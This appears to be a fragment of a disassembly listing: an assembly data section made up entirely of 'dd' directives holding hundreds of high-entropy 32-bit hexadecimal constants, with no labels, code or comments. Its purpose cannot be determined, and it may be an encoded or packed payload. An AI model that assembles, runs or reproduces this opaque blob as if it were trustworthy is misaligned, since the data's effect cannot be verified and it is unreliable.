		dd 0E9BBFF05h, 38B591CAh, 0EE830480h, 0C8B95101h, 29796904h
		dd 60ACB7E9h, 0B8AD274Ah, 0BC58CBB9h, 0E07C0D32h, 98DC9549h
		dd 80F16C08h, 425C6DF3h, 8D160F2Fh, 849291B5h, 8819E9F6h
		dd 0FF83246Bh, 0B15FEB8Ah, 0ACF63E3Eh, 52CF6630h, 3DBAE3E9h
		dd 42CA6818h, 0A36B7035h, 1BEAE16Dh, 23E0814Dh,	20A12849h
		dd 0EFE90399h, 29EC6A1Fh, 0F289BA16h, 94B788FCh, 0E162901Ah
		dd 803B4E9Ah, 0B0F10231h, 60267C6Ah, 2E30EDFAh,	247445ACh
		dd 2A6109DAh, 9CE04D62h, 5D628868h, 0B75DC51h, 26E80000h
		dd 44C10E09h, 345FF3F4h, 0AD2DAE2Bh, 118CAC3Bh,	0BB02AE7Eh
		dd 1AB133E3h, 0CD01ED60h, 0D8238F32h, 0B1B24320h, 8521D929h
		dd 9D20807h, 0FD9249B4h, 0C6C7FADFh, 9D92FE83h,	0F380B801h
		dd 3AE3CDD6h, 12A53E08h, 0B13565Bh, 6A7F05EBh, 0EC98402Bh
		dd 6FED000Fh, 3068CD81h, 0E4ED16CFh, 1096EF4h, 0ABA9E913h
		dd 0E9657185h, 73685BA2h, 57298B5Fh, 0BD3F7CC5h, 0FCE35EB0h
		dd 0B5D0AAD7h, 99173E68h, 0C459AF69h, 6F77E985h, 0C65B64BEh
		dd 0C49CE21Bh, 25885E58h, 0E55150C5h, 22E06189h, 0D404823Ch
		dd 0A3F62EAh, 61F78100h, 372D5C50h, 17C26074h, 0FB5240C1h
		dd 0BE226F7Bh, 0D7C50670h, 0C9DBF672h, 9D7F5AB5h, 5482E173h
		dd 809866E9h, 50454A56h, 973A9A6Dh, 81621051h, 60F6D4CCh
		dd 7EFC011h, 0E96C01BFh, 85BDAF2Bh, 120D1CEh, 0EDB770F7h
		dd 504656B4h, 0C60D5CC6h, 81C1E59Eh, 6C1D7049h,	4CC39697h
		dd 0D98B715Fh, 77FFFC21h, 8417E02Ch, 937BFC97h,	2D90B06Ah
		dd 0E8944B09h, 1BA880B4h, 7667D24Ah, 89ED001h, 179FA85Eh
		dd 888DD8C2h, 0FABE2ECDh, 169949F9h, 0A33EA817h, 0BC2F1070h
		dd 0B6483075h, 51182C0Ah, 826B117h, 79DE72FAh, 14D09362h
		dd 0D576429Dh, 0C864CC68h, 88C6D682h, 5C1383B0h, 0FCEB0E81h
		dd 0A515D162h, 7BD7FBh,	38D45951h, 9231860Fh, 3DE3BCA8h
		dd 7C462609h, 2AED60F7h, 63B92E72h, 0A65C4CFh, 7D18BDACh
		dd 4D3B30Ch, 0E3C0C3FEh, 801E8002h, 6CCA0CBh, 1C888630h
		dd 1F5BDA28h, 0C0C29DEAh, 0B3535159h, 4027E9E6h, 304E9833h
		dd 706D2C0Ah, 43640240h, 95FA61F8h, 0B5E90880h,	35A26254h
		dd 0B00BF7D3h, 290C60E3h, 0F50505E8h, 0E45FCF4Fh, 254044ACh
		dd 0C180245Bh, 0BF69097Dh, 318A9748h, 2C8705Ch,	6274AEE6h
		dd 4DA36025h, 18013516h, 285A50Ch, 0F0093E2h, 97E26E89h
		dd 0CA16FC51h, 0A3E96380h, 0CB1594AEh, 71DFDCC2h, 0A3A6426Fh
		dd 14AB2804h, 220007D9h, 0FC1C980h, 8F9E6788h, 8BAEA127h
		dd 0C600C325h, 0D0BFC2C4h, 0CAD2490Ah, 46107F4Ch, 2AC4ECCh
		dd 0AD53CBDEh, 0D5F224h, 6F614EF5h, 0E7D69F55h,	1CC92D58h
		dd 0C1729256h, 5370A568h, 16BD201Dh, 41CD992h, 0C3135A2Dh
		dd 0F2D562C7h, 2B358790h, 7C3A1C32h, 96CB452Dh,	55B501FBh
		dd 2A08F94Bh, 0E9F00EFCh, 9A935249h, 0B3AD3C17h, 0B1BE613h
		dd 0E5543003h, 365BCB80h, 0EF0F33A5h, 43EFC9CEh, 0E8DBCE42h
		dd 4AA0E9A7h, 0B4559227h, 0DD5B2A69h, 4CC7AD68h, 29E91354h
		dd 0E639FA32h, 0C2EBB32Bh, 0DAD5DDE9h, 0EFD89738h, 8076DAB5h
		dd 80D95B2Bh, 0FEF7820Fh, 0EB920176h, 99F61E0Dh, 0D60A443Ah
		dd 0B672DB3h, 4CF5B710h, 4E55AC4h, 166055CAh, 89045696h
		dd 4ED66839h, 135454CCh, 0A0AAE95Fh, 4602BE72h,	951CD31h
		dd 0EEE82F7h, 0A38FA9Eh, 3F747B61h, 0BB6008BAh,	3B6BB801h
		dd 8E92D7Ah, 0F4286735h, 0A3BA52A0h, 645C0B02h,	4003EAC1h
		dd 82A69052h, 49A0F9FDh, 8526A5D2h, 471F69C8h, 8DDE5E7h
		dd 702F1AEFh, 7B4D2742h, 407D1DE0h, 98659D24h, 2F25B30Ch
		dd 17D55809h, 0E939E185h, 0CA4D1045h, 16385D2Eh, 1961AF13h
		dd 612AD9A4h, 0D1C175Ah, 946EA1E0h, 0BE3F64FBh,	0B9D918D3h
		dd 893B36CEh, 7A12F5CAh, 92853D34h, 0B5934B44h,	157F2D00h
		dd 1DFE22D8h, 4FE4DA4Dh, 247FF0CAh, 82F2B432h, 0EA80ACB2h
		dd 8EAFC157h, 8217BDF8h, 5D4F7D64h, 0A3F422BCh,	0BD91D295h
		dd 6800A83Dh, 74AA64CFh, 80D19A5Fh, 795A474Ah, 6B34B845h
		dd 0E75C0D43h, 0D2A50F1Ch, 0B9C989Ah, 56951272h, 2DE2AA0Fh
		dd 517E0B29h, 3D69AA88h, 40201787h, 0D0EAA428h,	1F4DBEA4h
		dd 226A953Dh, 5ED497C3h, 497BB951h, 68FD019Dh, 829BF5F8h
		dd 57597540h, 5532B325h, 0D0F66A2Bh, 6E180B00h,	9B85052h
		dd 4B9145A0h, 9709E858h, 637B5A0Eh, 39D3C089h, 0C1CE4B94h
		dd 70C23105h, 855482C3h, 1F5B6D96h, 53FC1B3h, 1D5A7F90h
		dd 0DACBD530h, 80DE4E76h, 505FA4D2h, 60C1FF6Fh,	0BAC6B389h
		dd 0A14BF5E0h, 0C0E3B5C7h, 0C73F0F46h, 7AEF0721h, 5A33766Ch
		dd 27396817h, 0B22E85F3h, 0F9878B71h, 0DC7AA77Dh, 0E282146Dh
		dd 3D3060D4h, 0B263D04Ah, 0F859F3A0h, 9DF570B5h, 0E942ABD9h
		dd 9723506Dh, 9456380h,	0F2A038FFh, 342D7190h, 6D08DD21h
		dd 0C85E1408h, 0F1C3E2CCh, 12473C07h, 8219490Bh, 9C2882Fh
		dd 3A202D58h, 0FF215A4Dh, 0F8420309h, 0B5A74917h, 36ABBA03h
		dd 0B81C0A65h, 62027985h
		dd 4B9D800Fh, 0A0D65BDFh, 1E18C412h, 0B72A5FEDh, 498B2728h
		dd 12EA6B05h, 0A974FE08h, 1FD7E7FAh, 954BF201h,	0B7F81974h
		dd 5B77F97Ah, 0CA884A80h, 0CEFC9759h, 0C0DD2250h, 50AAEA55h
		dd 29341108h, 80596CAh,	0F6F95259h, 0C12EE983h,	61EB391Fh
		dd 7D0DF88Bh, 774CDF40h, 0BE2D29B2h, 65CE0FC8h,	20FE90EBh
		dd 40F6BC28h, 0CABFBB90h, 2AAFC84h, 4F481532h, 0D8C5F489h
		dd 4CD8BA00h, 9D426A7Dh, 0C348CEDCh, 82FFB230h,	8F25E5A0h
		dd 0B61ECA60h, 0A602E99Dh, 27F10C0Fh, 5DE821C0h, 0E9C00C09h
		dd 8AC9D66Bh, 76BC71F4h, 7A79F96h, 0B4F2B24Eh, 3D79EC2h
		dd 6CB955ADh, 0E9D07B8Dh, 4AFEABB2h, 6533C0C2h,	7D95CA20h
		dd 0AB831A0h, 0FA036D33h, 895EF001h, 0F4ECFAC2h, 0C99324F1h
		dd 0DA175F10h, 58BE80h,	8120EA5Fh, 670D9CCEh, 8AF6E9E2h
		dd 70EB5BD2h, 1D2EB083h, 49BF125Eh, 907059E6h, 2C1ED89Fh
		dd 1306BF7Ch, 0D2005D29h, 0CACBBA7Dh, 44EB801Fh, 0FF310C68h
		dd 40B1EA32h, 95D82EADh, 11092959h, 0DA035C91h,	6F312C11h
		dd 4652A453h, 0FB89F5A9h, 4458AA7Ch, 91F782D2h,	0B98463CFh
		dd 0D871E268h, 0C4FA150h, 0F983529Ch, 0B1BEB82Eh, 913F058Eh
		dd 0C26AAF9h, 0C7BD0155h, 0C1210269h, 6FBD30EDh, 0F38123C0h
		dd 974018F6h, 0EDE5F3A5h, 7FD55B4Ah, 7D6D6F8h, 0BC9ED8Eh
		dd 0B0DF14D5h, 357F493Fh, 79D93B9Ah, 0D277E9E1h, 0A2618C6Fh
		dd 0D480935Ch, 621F5ED5h, 155DD54Ah, 5AEC2544h,	0BC585927h
		dd 2F68DF20h, 2ED0EA83h, 463F7105h, 65935B2Fh, 580ABA0Ch
		dd 0D4F305E0h, 16D6F8AFh, 894047C0h, 0C85272FDh, 26B43DEh
		dd 8274CBh, 0F17180B8h,	8B055400h, 0D7AB464h, 0FE391486h
		dd 137CB30Ah, 0C16383C1h, 60C53111h, 989D164Ch,	0BF14D824h
		dd 6F3092E6h, 0EBF1015h, 7292627Ch, 425CEEF5h, 2C97246Fh
		dd 2A94FEAh, 91534B05h,	7A5EE1ACh, 0A89C0398h, 72D1B286h
		dd 0B6F69D30h, 0DCF32809h, 2FE98412h, 74EB85h, 0E8968709h
		dd 0FE73365Dh, 0BCFEC2Ah, 7DE1F60h, 2345AF55h, 917B78A7h
		dd 0D5C65AE9h, 623584E6h, 10C59389h, 95FE7AEh, 663ACB68h
		dd 0CA852562h, 0D7EE9ADFh, 1689BDE8h, 593EF01Ah, 5E070542h
		dd 670704BFh, 0EAD21D9Ch, 7D8DA02h, 0C700D74Bh,	600E3035h
		dd 0F141EBB0h, 7D1466Eh, 5E4B108Bh, 2C8209A0h, 1963513h
		dd 3B1230E6h, 3AC47E74h, 0B0F39FF1h, 586BA067h,	134BF2A6h
		dd 1A58A6ABh, 748ACF53h, 8BE9E158h, 0E4B96FB9h,	22BC0303h
		dd 74EFF501h, 4227FBCCh, 8858E700h, 875B5CFAh, 0C7E01D20h
		dd 4A4AC9EEh, 0BB8E0EE3h, 178B7223h, 1393CBF0h,	0C656642Dh
		dd 251C96F8h, 47B15EE0h, 0CB075E2h, 0DCC70B3Fh,	9D86151Bh
		dd 8E3305CCh, 8FC29336h, 88B057C6h, 85C0DC85h, 927BF5E6h
		dd 860F0B51h, 0E76A13D9h, 146FF04h, 0B90BA2BDh,	56ACCC8Ch
		dd 26702161h, 0CC7CDE9Fh, 3F27E965h, 64B67EA0h,	7716FFECh
		dd 82F514F8h, 237F51EEh, 2DEF1D0h, 65EDEFA1h, 0A740020Eh
		dd 0F19DE0D8h, 0B1D4E93Fh, 7047E98Bh, 0DEF9BD17h, 0C075352h
		dd 0C6297554h, 5FF19203h, 0E9F02901h, 0EF543BD2h, 0C7EC66C4h
		dd 844A8558h, 3187FE5Ah, 0E81348A4h, 0C90984C7h, 0B0B92881h
		dd 0B021BA2Eh, 0A1973DFAh, 3C1EBEAh, 0F00D574h,	17602287h
		dd 0EEFCEA89h, 52AC2A48h, 0E94F17FEh, 59CD4BB3h, 0E398B684h
		dd 0F894D634h, 55541DD2h, 16A835D9h, 245D4F5Ah,	0CF7F0ACCh
		dd 50F4FCC8h, 0C1872CF7h, 0ED68585Fh, 0D7A36A0Fh, 0D02CBE97h
		dd 4195597Fh, 56CEEA30h, 2F251B35h, 880C15Dh, 5ECCE97Bh
		dd 0E9126AADh, 295BB842h, 702C595Bh, 2D095208h,	0A42DB825h
		dd 53B7C6ECh, 94024B16h, 8472B30Dh, 719F5FE4h, 592A6A57h
		dd 328DC473h, 2CBF5755h, 463B00C1h, 8F0F26D0h, 0F7CE407Fh
		dd 51CD758h, 2930689Eh,	3A89E5C0h, 350D5EBCh, 91F6842Dh
		dd 6C736861h, 0BCBEE4E5h, 0D4E9E343h, 0C13E59F1h, 888947CDh
		dd 792619h, 1356F281h, 62956BFEh, 8AECC801h, 14C6B5A8h
		dd 0CEF6C425h, 4A65F67Eh, 0E5354054h, 0C1524960h, 1FB4E34Bh
		dd 3ECA30E9h, 77B0CE23h, 15C2434Ch, 9327DAD0h, 61FA0716h
		dd 3823AE6Ah, 575FCBDBh, 4CB0969Eh, 0EED1D460h,	4FB06B4Eh
		dd 0A4514455h, 809BAF04h, 0A90B5527h, 0C5261C57h, 0AE693C45h
		dd 4012FE30h, 58EA90CCh, 0F680A690h, 8C724863h,	2F7E0CC1h
		dd 352015A4h, 0BA1A1795h, 1ECDC633h, 0A26F2D07h, 0E0CBE9B2h
		dd 1A875FEAh, 8D1F7CDh,	37F90780h, 5A9F1BF3h, 6F40203Ch
		dd 41F76815h, 0D6347D69h, 0E3BA10BDh, 0CDE98685h, 0C6833F1Bh
		dd 71BF9460h, 7EFC73D2h, 0CAF59F64h, 24541BC6h,	20E425Ah
		dd 9D2F74CFh, 561C7B70h, 5DC4FE89h, 3D15F5Eh, 0B62A0FA2h
		dd 0A55A0BACh, 0D20BDD6Bh, 0D9AC86E1h, 1076CE8Dh, 0F06B684Bh
		dd 313EF643h, 680BF135h, 0C3616E0Bh, 0CD6ABDD2h, 260CE494h
		dd 8096E9D8h, 0BDEB90EFh, 99EBE3D8h, 0B4063310h, 0FDEED231h
		dd 6CA86A2h, 1312D00h, 280C4A47h, 7B975E4Dh, 7CE986EFh
		dd 80011C0Bh, 8A0F90C9h, 4C3EB1CCh, 580AE156h, 8B2D689Ah
		dd 1EDD7BEBh, 0AE82755Fh, 443A80E5h, 0ABD66FC4h, 36B35D45h
		dd 0BDCB0605h, 5B2783E3h, 0CFBB0879h, 63672CBAh, 56994002h
		dd 4002E0C1h, 95A45AF8h, 645746A0h, 0F8BF1673h,	0B4FBFCAEh
		dd 49BA01B1h, 35058702h, 1D9BB11h, 3CF66853h, 68492A38h
		dd 2F92F03Eh, 0D7E3C29Fh, 5C44FB65h, 788344FBh,	0F349BBD9h
		dd 27C954EEh, 91B01C7Fh, 5590CBAEh, 9968122h, 845F9663h
		dd 0AA729CAAh, 31EE1206h, 121BDEF7h, 0E823B5E9h, 0B126C50Dh
		dd 5F020809h, 3AD07787h, 34B3139Eh, 0A0138452h,	0F1FE2D70h
		dd 0A303C224h, 27197207h, 9B285D19h, 5A580808h,	80205A22h
		dd 0E8B90B6Ch, 5C0377D6h, 1F12152Fh, 31BE62B8h,	8949C44h
		dd 6EDA09BFh, 80DD389Eh, 6099CF37h, 20645807h, 71F8FC04h
		dd 0CA04FAA6h, 2AE112E9h, 503D1232h, 0F4F84B17h, 5A62AB26h
		dd 5DAF9F14h, 680B8759h, 7D84728Eh, 6F0981DEh, 2DCDBF21h
		dd 5E890F00h, 44FAA84Bh, 905B7143h, 0F38B5281h,	68B10A91h
		dd 84C39875h, 0F291A8AFh, 905E757h, 0A95EBBA0h,	49B76861h
		dd 5E49987Eh, 396235BCh, 0A8FE0993h, 8576612Dh,	0E1BFEE34h
		dd 3191BF0h, 3167EF81h,	0DF9866E6h, 715FC3E9h, 207AB0E6h
		dd 801C4837h, 8D2CF5EAh, 20DD3401h, 169F58C2h, 0E7E28E24h
		dd 3086F2C2h, 2475447Dh, 6B320AFFh, 259688C5h, 52C69C21h
		dd 55359C42h, 820F176h,	6813F6A4h, 60BB41F2h, 0BAEFE9F5h
		dd 0DF999F83h, 22D8BD8Bh, 6A5F5326h, 0DFF92158h, 92FE451h
		dd 0CCA0DB48h, 0AF040C2Ch, 825B7AF4h, 0BCB125C8h, 49551F10h
		dd 6C7DD634h, 0F1873E5Eh, 0E3C31C97h, 172A791Dh, 14FA699h
		dd 74F07344h, 13A2E817h, 7AA397B7h, 0CE567605h,	47FF1C51h
		dd 900A6E53h, 461A9EBEh, 0DE0EACB2h, 0C04DDB03h, 0BD2924E9h
		dd 829DE775h, 68126096h, 3DF3091Eh, 95604C02h, 9FC13125h
		dd 3CB6404Eh, 59144412h, 8267F301h, 52D8C8E9h, 27FF08A1h
		dd 0E549039Eh, 0AFF0272Bh, 6709F974h, 0DDC621E9h, 36C15913h
		dd 89949FB8h, 7C6199BFh, 0CCD67DA3h, 0E311316Ch, 0E05EF539h
		dd 0D7828A27h, 7D881F7Bh, 0E5BF0182h, 3F878B56h, 6CF31D2h
		dd 908021FCh, 150F3A90h, 0A5CB292Ch, 0E421AC14h, 8B89BE1Ah
		dd 0BBD145D0h, 771CCE92h
		dd 910EE986h, 0CDB2A8BDh, 98208C31h, 22F097D0h,	3E638610h
		dd 0A7041069h, 401385h,	28E8C1C6h, 595A3CF0h, 0E7680C85h
		dd 0D23D2176h, 0EA234Bh, 0B151FCB6h, 13C9FEC0h,	611C1EE9h
		dd 0C2D345D7h, 7D6FCEFDh, 3A3C2F57h, 9C0FA020h,	0AF691E3h
		dd 26F3314Ah, 0AC981117h, 2605D616h, 2CF4C560h,	0F026194Ah
		dd 0C4AB0C44h, 310971B0h, 50E2E9F2h, 7EBD0791h,	0A4402768h
		dd 7B2EE57Bh, 0DD61CBE0h, 5DA5873Ah, 85E99787h,	0D5974BD4h
		dd 0FA7264D5h, 4031651h, 2B490868h, 3252560Ch, 20F2BA79h
		dd 35F4054Eh, 32D0125Ah, 271557FFh, 0E8D62140h,	9C9708h
		dd 814BD387h, 0A1745F3h, 2F0C01B2h, 50C07073h, 62919FE8h
		dd 39F35D40h, 5E822379h, 862DE807h, 9C443E3h, 6F519BEAh
		dd 0A15D9789h, 0BC8BE95Ch, 5CCCBD2Eh, 0A037892Fh, 2196BB17h
		dd 4B3D7A6Ah, 0F97413F1h, 0CCAB9671h, 80973DF7h, 6A19B872h
		dd 0E33B4CC0h, 48C88A25h, 54A488CBh, 0B46E9E0Ch, 1FBAA21Fh
		dd 0B1CB9A59h, 31E7C18Ch, 50E2DA4Bh, 15E92960h,	6C9D7BB0h
		dd 22C9E22h, 57D813CDh,	4AB3C7D7h, 1D059539h, 7D190B59h
		dd 0EC68AF2Dh, 732C9B1Bh, 0D0B9D45Fh, 0FD4F2092h, 0BE0299F8h
		dd 0E55ECFF8h, 4F26687Ch, 70F46513h, 21B441FEh,	0D207206Ch
		dd 9530CD40h, 57A0A0FAh, 0A995DDE8h, 352A80A0h,	5937F847h
		dd 0AEC4315Ah, 2EDACDEEh, 0E9C448A3h, 88EED232h, 0A8C4D342h
		dd 2E13474Fh, 418089AFh, 93C34B4Fh, 3B09E52Fh, 1D17D81h
		dd 92B85080h, 1972D35Dh, 724329E9h, 7AEC43B5h, 0C9F213F4h
		dd 71E410h, 2F5E6568h, 73095B02h, 2F773DDh, 4B49BB53h
		dd 90E12691h, 0E7D1019Ch, 128A4A20h, 0ADF224A5h, 5CEA273Eh
		dd 0A037A88Ch, 0B0476C8Eh, 0BC384FB5h, 0FDC2A792h, 5B7A976h
		dd 0DFB5EDAh, 11939B23h, 31EE01D0h, 32A23FF5h, 75DB7710h
		dd 1CC0794Eh, 2D688EBDh, 29DD2858h, 0B2F95DCBh,	80BF2BD0h
		dd 0D07E8D1h, 32111777h, 5FC5AFC2h, 389FB918h, 0DBA402BBh
		dd 5FB22B17h, 2F8A9ED9h, 0A1100ECAh, 0FAB24F65h, 2DE1B393h
		dd 0C24354AEh, 0DB7D7527h, 0E0C006E7h, 7EF30607h, 0CDBE8D81h
		dd 80BBB100h, 2F95C13Dh, 5764C282h, 0C1D2F9FEh,	2038772Fh
		dd 174538CAh, 0AE9CA560h, 0EEC0EEAAh, 0B52B0D47h, 379CB858h
		dd 75060B24h, 4BB83035h, 0FA1216D5h, 0A055602Ch, 2F78F3ECh
		dd 82FC79B1h, 1545751Eh, 4CEC50E9h, 90CAFE4Bh, 57E6890Eh
		dd 60BC6880h, 46BD78B3h, 0C0E916B0h, 69B8E3D1h,	5A2E5C39h
		dd 8EDF9D5h, 0BD0E7060h, 5576C506h, 2F68D5F0h, 2099670Eh
		dd 9949F62Ch, 1C7EE6BBh, 0FC880360h, 0E2080A5Bh, 2DB98058h
		dd 0EAFE825Dh, 10C90AB2h, 9E680B64h, 20C2C67Dh,	789DD271h
		dd 0B663F0F7h, 0D54025A8h, 43024D50h, 3D8C0F46h, 3DE97A23h
		dd 4B9F6AFFh, 6B257C4Eh, 0FAEEAE68h, 0CEF77A3Ch, 0BF73E0FCh
		dd 1738E628h, 4E85C230h, 6A45C855h, 5335305Ah, 83316F3Eh
		dd 9FE9AC13h, 20AFE253h, 0AA67DE48h, 7BE85D4Bh,	0FDBC4800h
		dd 0E9C589E2h, 56F038EFh, 0FB357B6Eh, 4FE44F0h,	0FF64CC47h
		dd 9B131531h, 0CB346Bh,	8D50BECBh, 42248F62h, 141EA330h
		dd 5E3DC549h, 138A20FEh, 4B0FBBDh, 0E893EBD5h, 5FE2E71Eh
		dd 518FFD9h, 0CE09087Ch, 80D1316Dh, 7011EFDAh, 1021ED8h
		dd 8C714CFh, 492E5924h,	0DCE09509h, 0C005E35h, 0E0C11539h
		dd 5580506h, 0E9719821h, 0EC9556B0h, 51DA00AAh,	1D0A67B9h
		dd 0E39B83Bh, 6DA0479Ah, 35B6C9C0h, 0C1F82BF1h,	5B650E0Dh
		dd 0F3F00C0Ch, 0AF2BED6Bh, 0A3EACB00h, 9F628E73h, 322C065Ah
		dd 462CB2AEh, 0F4C94A1Ch, 1F947F4Bh, 78A9D20h, 65484FBAh
		dd 98DAA209h, 0ABB98593h, 18F33B72h, 15665060h,	0C112656Ah
		dd 0BF9507E2h, 0FB00B9ACh, 0E94AF54Ch, 98B4EDDFh, 0BE55B2A2h
		dd 4947F0h, 0F12235Bh, 0CB01822Dh, 799BCA68h, 0A65F8818h
		dd 0B1915917h, 87054D46h, 602B61A1h, 0C68B2042h, 5E275BDDh
		dd 0FE5F9361h, 25E9F728h, 1D7179D4h, 0CEC0A6B9h, 0AC6598C0h
		dd 9C49FA02h, 200916AFh, 546D75Dh, 14B0C7A3h, 3B48B41Bh
		dd 41AC2755h, 0B1305352h, 20364F24h, 0AE056655h, 13B6274h
		dd 0F2DB6C8h, 7DB66B2Ah, 422DF656h, 250783A3h, 375AFE13h
		dd 80EF6CE2h, 6FB3216Ah, 88BDF598h, 80C0BC01h, 0FEEDF3F9h
		dd 0FE7B4B1Bh, 0C4689023h, 739149EEh, 0D9F7A242h, 0AB8DC731h
		dd 16AE3AE4h, 3898652Ch, 0F35A6FC2h, 7293BDD1h,	0C15DB8A6h
		dd 46BC716Ah, 0E0FF22Eh, 52E32D53h, 4654F809h, 77AD141Bh
		dd 0A32CBEDEh, 0E85FA581h, 82749F7Ah, 36C1C1D5h, 80F1037Bh
		dd 3CF925EFh, 37B834F2h, 0F18B5065h, 0B48828B0h, 0B26F0BA4h
		dd 450E8CBh, 181653EAh,	52E0AF4Ah, 0AAC35B29h, 0E9D8C160h
		dd 3AA96A08h, 2C30B29h,	0E46FC95Ch, 0CEFB1B92h,	0E2969F40h
		dd 5B479CEAh, 17175173h, 0DDC502E9h, 8724E2EEh,	20878CAh
		dd 801A6AC7h, 37E361F7h, 845FF952h, 0A2EA8CAAh,	49B3A53h
		dd 0D509E0DFh, 0E364DDFEh, 4540A492h, 58808EB5h, 3FF6F05h
		dd 79785667h, 5849F97Dh, 9B4FFEE9h, 22D397E6h, 0F5780BBEh
		dd 344CE481h, 3513BA98h, 0CDB82171h, 7924492Ah,	0BFB1F058h
		dd 1351F4A7h, 45D93183h, 70386A5Bh, 0FEB1DD0h, 5E8B2D88h
		dd 8B30A95Dh, 30925D58h, 0A57A8560h, 10485BCCh,	48B35BADh
		dd 681E245Dh, 3C356E96h, 760EB2BEh, 0F50ED790h,	462FE967h
		dd 1E4EECF2h, 88E7865Ch, 128A441h, 6B72A10Ah, 0BF389D36h
		dd 0C2662547h, 0D5ECDFD4h, 0F3BFF525h, 0B02993FDh, 0C840A150h
		dd 0AEF7B431h, 2A923E61h, 0E435A85Fh, 1DEC9CC5h, 0F98BFE4Bh
		dd 0A1E0E9C5h, 9FF26ED1h, 38866882h, 0F980E079h, 811CBC18h
		dd 3BD012F5h, 0B5EE09F8h, 0C85F62E2h, 958C70Ch,	1A6F685Ah
		dd 299A8645h, 0DAF1F522h, 0B6ED4E2h, 4B0BF1FCh,	9656DE9Eh
		dd 2F67AEEFh, 7CF881F2h, 520F8353h, 86A00579h, 0AC9EF754h
		dd 147F6BF9h, 150AC88Fh, 8EDC580h, 632488F9h, 0A97604Eh
		dd 50012CF4h, 0B7A4FFF1h, 3318C420h, 98B94F52h,	0E1792002h
		dd 990A603Ch, 45FC261Fh, 73430184h, 8F4E6286h, 6895CA50h
		dd 83E62C68h, 44A16DF6h, 2240CECBh, 54BD5908h, 0D8585215h
		dd 479C5795h, 6071A8BEh, 2FED254h, 5F9C686Dh, 0B6529477h
		dd 0A776892Ch, 0DFB01477h, 824D978Eh, 11405383h, 0F2056FA8h
		dd 0CE875E28h, 8A8B27B0h, 0EB685801h, 6FC24D4Ch, 0B94BF9A7h
		dd 1FD387E2h, 864A3F12h, 980FCEEAh, 6C94068Bh, 66296213h
		dd 0EEC44820h, 5007B6D5h, 0B6316845h, 8DC7FF7Ah, 8768B83Eh
		dd 0EB05A1F5h, 42EA2785h, 429CCBEFh, 8017EA5Dh,	3E7D2DF7h
		dd 11E91662h, 0EACEAFD8h, 0FB5E0764h, 4020AFD8h, 5BE831DAh
		dd 172C96BFh, 2872D9Dh,	4906E1ADh, 103E20DFh, 2E83F5BDh
		dd 1531CA09h, 804FDCCFh, 0FB5614BDh, 0B485574Ch, 7E0211FDh
		dd 5F1DF113h, 8EE308DFh, 6088E958h, 75CEF76Dh, 5109A206h
		dd 103F8C0Fh, 184BC6A7h, 0CFB7F57h, 0CE09A1BCh,	600EE984h
		dd 2820DC5h, 0F454330h,	93D8808Fh, 0CC628490h, 77E24C0Bh
		dd 576095F9h, 432CABFh,	0FE090841h, 46A0805Fh, 755F29E9h
		dd 87508DE6h, 0A7021794h, 3A50EA2Dh, 0CA5D3208h, 0C37EDC8Fh
		dd 0E7124D2Ch, 0D520CE9Bh, 7BF95162h, 635E2C55h, 7DEA780h
		dd 0F2ED830Dh, 372378D8h, 503073DCh, 31431559h,	4D0C04BCh
		dd 0D6E5D9C9h, 848BA60Bh
		dd 0EB49F4CAh, 68A64774h, 51526D02h, 8E407F11h,	1600FD0Dh
		dd 0C03525D8h, 675653Eh, 64E9C301h, 5A95A3D3h, 0D530202Ch
		dd 0E4F93AE9h, 8546B35Eh, 0E4AA68E9h, 985B5E82h, 4BD78753h
		dd 1CBCA8B4h, 46D0282Dh, 6A508E30h, 40881EB6h, 2B4AE9F0h
		dd 0D62CE8C1h, 3A286FC8h, 497D04F8h, 6A644ADCh,	0F423CD6Ch
		dd 9FBA73B3h, 34EF015Eh, 10F6FD82h, 0B44B4CE2h,	481706D6h
		dd 0D4F82001h, 9F6153A7h, 0A1F3EF84h, 1BAE055Bh, 0DCD3E562h
		dd 0D1C99A99h, 2B6745F0h, 0E113927Dh, 9BED7E1Bh, 229AEEC0h
		dd 12C3EA7h, 0B412C1F3h, 5B4073AAh, 5378CE1h, 8921B0EBh
		dd 0C87B762Dh, 1210E632h, 78185Ah, 4CC9EB55h, 0BD3D5E5Ch
		dd 2B7F8EB5h, 13471468h, 99ABA6ECh, 370369Fh, 72E9DE01h
		dd 0AC0F5A2Ah, 0D3589FF4h, 0E34F583Ah, 97A0BFE0h, 0A8F9B85Dh
		dd 3B8F9217h, 264BBC05h, 0A6800F4Dh, 79BE5427h,	0BD49662h
		dd 0E7972174h, 115D7F91h, 558B7868h, 25FC95D7h,	0B98323E6h
		dd 0D375F7AAh, 0ABF8126Eh, 0BFDFB668h, 0BBB0103h, 0E936A6D9h
		dd 0B9AF240Fh, 61271412h, 123501AAh, 3B42DB4Ch,	90713F0h
		dd 490D0E11h, 80B42905h, 0CA312EBFh, 580FF2CBh,	0BBD995B7h
		dd 185D9F6Ch, 8745F568h, 89819DB4h, 108FB97Fh, 14BF37Dh
		dd 0B70D15C9h, 0A90C817Ah, 29170509h, 8402F3Ch,	0DF4327E9h
		dd 0A1A190FFh, 2963C41Eh, 4C76F9CFh, 0A8C314B2h, 74ABB4A3h
		dd 3227AD51h, 0F6224253h, 7552E29Ah, 2E426800h,	5B477A2Bh
		dd 40013C6h, 0AC220DCBh, 9099CEDEh, 8884BA4Eh, 0B0C9ACEAh
		dd 4ABAE952h, 679DBAA7h, 0F0A0987Fh, 2BFD0AB8h,	0BD4BE98Bh
		dd 16190210h, 65572C58h, 0F9B88067h, 48611873h,	1B850F17h
		dd 0E4402B4Eh, 8A97BB8Ah, 0EA8BF350h, 4CBAB042h, 7C867DB7h
		dd 0DFD8E95Bh, 2426B59Ch, 3219E1h, 1DAC1BC8h, 0C031E94Eh
		dd 0DDB4386Ch, 166E5C0h, 0DFB15158h, 308CC180h,	0AA836831h
		dd 0E29A9140h, 9F80F8F0h, 0A04DB710h, 57E5BF94h, 0E90542FBh
		dd 0C8A2D1BCh, 9D7116F9h, 2B12C520h, 9EBD3C9Bh,	8E73F317h
		dd 0B3502B5Bh, 0EA65C13Fh, 857E9061h, 0B9CA691Dh, 0E1236058h
		dd 0E2A26A5h, 0CB8D0F05h, 0B8E92FF8h, 0EA93B014h, 0D72E10A3h
		dd 0BE6BB616h, 707CA431h, 22155A6h, 5B66A3C2h, 0E3FF5C55h
		dd 0CD98E0C5h, 0DD028609h, 0CBE9DBF6h, 8053DF75h, 6EC38181h
		dd 77BCC10h, 0EBC8E97Ah, 83EFA1A5h, 345FE82Dh, 9B058513h
		dd 2EAE1FBh, 6BA26877h,	0FB976546h, 4CA50BC5h, 0B260FF56h
